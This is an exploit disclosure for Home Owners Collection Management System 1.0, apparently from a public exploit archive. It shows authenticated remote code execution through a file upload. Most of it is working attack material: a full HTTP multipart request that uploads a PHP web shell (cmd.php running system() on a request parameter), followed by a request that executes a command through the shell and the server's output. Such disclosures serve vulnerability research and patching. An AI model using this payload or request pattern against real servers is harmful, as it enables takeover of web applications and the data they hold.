Home Owners Collection Management System 1.0 Shell Upload

`# Exploit Title: Home Owners Collection Management System 1.0 - Remote Code Execution (RCE) (Authenticated)  
# Date: 9/02/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html  
# Version: 1.0  
# Tested on: XAMPP, Linux   
  
# Request sent as base user  
  
POST /hocms/classes/SystemSettings.php?f=update_settings HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------31935477191495174627236953215  
Content-Length: 769  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/hocms/admin/?page=system_info  
Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju  
  
  
-----------------------------31935477191495174627236953215  
Content-Disposition: form-data; name="name"  
  
  
  
Home Owners Collection Management System'  
  
-----------------------------31935477191495174627236953215  
Content-Disposition: form-data; name="short_name"  
  
  
  
HOCMS - PHP  
  
-----------------------------31935477191495174627236953215  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream  
  
  
  
  
  
-----------------------------31935477191495174627236953215  
Content-Disposition: form-data; name="cover"; filename="cmd.php"  
Content-Type: application/x-php  
  
  
  
<?php  
if($_REQUEST['s']) {  
system($_REQUEST['s']);  
} else phpinfo();  
?>  
</pre>  
</body>  
</html>  
  
  
-----------------------------31935477191495174627236953215--  
  
  
# Response  
  
HTTP/1.1 200 OK  
Date: Wed, 09 Feb 2022 09:32:16 GMT  
Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1  
X-Powered-By: PHP/8.1.2  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Access-Control-Allow-Origin: *  
Content-Length: 1  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
  
  
1  
  
  
# ------------------------------------------------------------------------------------------  
# Request to webshell  
# ------------------------------------------------------------------------------------------  
  
GET /hocms/uploads/1644399120_cmd.php?s=echo+0xSaudi HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: PHPSESSID=fvle60i4ru4enqa81o3kicskju  
Upgrade-Insecure-Requests: 1  
  
  
# ------------------------------------------------------------------------------------------  
# Webshell response  
# ------------------------------------------------------------------------------------------  
  
HTTP/1.1 200 OK  
Date: Wed, 09 Feb 2022 09:39:06 GMT  
Server: Apache/2.4.52 (Unix) OpenSSL/1.1.1m PHP/8.1.2 mod_perl/2.0.11 Perl/v5.32.1  
X-Powered-By: PHP/8.1.2  
Access-Control-Allow-Origin: *  
Content-Length: 33  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
  
  
0xSaudi  
</pre>  
</body>  
</html>  
  
`